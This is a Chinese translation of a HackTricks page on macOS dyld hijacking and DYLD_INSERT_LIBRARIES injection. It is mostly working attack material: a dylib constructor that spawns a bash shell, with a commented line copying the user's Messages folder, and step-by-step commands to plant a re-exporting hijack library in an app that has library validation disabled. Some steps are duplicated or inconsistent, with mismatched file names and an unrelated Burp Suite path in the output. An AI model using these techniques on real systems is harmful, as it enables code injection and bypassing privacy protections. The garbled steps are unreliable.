hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md

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# macOS Dyld 劫持 & DYLD\_INSERT\_LIBRARIES
<details>
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</details>
## DYLD\_INSERT\_LIBRARIES 基本示例
**要注入的库** 以执行 shell
```c
// gcc -dynamiclib -o inject.dylib inject.c
#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
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syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
}
```
攻击目标二进制:
```c
// gcc hello.c -o hello
#include <stdio.h>
int main()
{
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printf("Hello, World!\n");
return 0;
}
```
注入:
```bash
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
```
## Dyld 劫持示例
目标易受攻击的二进制文件是 `/Applications/VulnDyld.app/Contents/Resources/lib/binary`
{% tabs %}
{% tab title="entitlements" %}
<pre class="language-bash" data-overflow="wrap"><code class="lang-bash">codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
<strong>[...]com.apple.security.cs.disable-library-validation[...]
</strong></code></pre>
{% endtab %}
{% tab title="LC_RPATH" %}
{% code overflow="wrap" %}
```bash
# Check where are the @rpath locations
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
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cmd LC_RPATH
cmdsize 32
path @loader_path/. (offset 12)
--
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cmd LC_RPATH
cmdsize 32
path @loader_path/../lib2 (offset 12)
```
{% endcode %}
{% endtab %}
{% tab title="@rpath" %}
{% code overflow="wrap" %}
```bash
# Check librareis loaded using @rapth and the used versions
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
name @rpath/lib.dylib (offset 24)
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time stamp 2 Thu Jan 1 01:00:02 1970
current version 1.0.0
compatibility version 1.0.0
# Check the versions
```
{% endcode %}
{% endtab %}
{% endtabs %}
根据前面的信息,我们知道它**没有检查加载库的签名**,并且它**尝试从以下位置加载库**
* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
然而,第一个不存在:
```bash
pwd
/Applications/VulnDyld.app
find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib
```
因此,可以劫持它!创建一个库,**执行一些任意代码并导出与合法库相同的功能**,通过重新导出它。并记得使用预期的版本来编译它:
{% code title="lib.m" %}
```objectivec
#import <Foundation/Foundation.h>
__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"[+] dylib hijacked in %s", argv[0]);
}
```
```bash
gcc -dynamiclib -o libhijack.dylib libhijack.c -undefined suppress -flat_namespace
```
{% endcode %}
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编译它:
{% code overflow="wrap" %}
```bash
gcc -dynamiclib -o libhijack.dylib libhijack.c -undefined suppress -flat_namespace
```
{% endcode %}
```bash
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport
```
{% endcode %}
在库中创建的重新导出路径是相对于加载器的,让我们将其更改为库的绝对路径以进行导出:
{% code overflow="wrap" %}
```bash
#Check relative
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
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cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24)
#Change the location of the library absolute to absolute path
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
# Check again
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
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cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
```
```bash
cp /tmp/evil.dylib /path/to/hijacked/location/
```
{% endcode %}
最后,将其复制到**劫持位置**
{% code overflow="wrap" %}
```bash
cp /tmp/evil.dylib /path/to/hijacked/location/
```
{% endcode %}
```bash
cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
```
{% endcode %}
执行二进制文件并检查**库是否已加载**
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib 在 /Applications/VulnDyld.app/Contents/Resources/lib/binary 中被劫持
</strong>用法:[...]
</code></pre>
{% hint style="info" %}
关于如何利用这个漏洞来滥用 Telegram 的摄像头权限的详细文章可以在[https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)找到。
{% endhint %}
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## 更大规模
如果你计划尝试在意外的二进制文件中注入库,你可以检查事件消息以找出库何时在进程中加载(在这种情况下,移除 printf 和 `/bin/bash` 执行)。
```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
```
<details>
<summary><strong>零基础学习AWS黑客攻击直至成为专家通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您希望在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库**提交PR来分享您的黑客技巧**。
</details>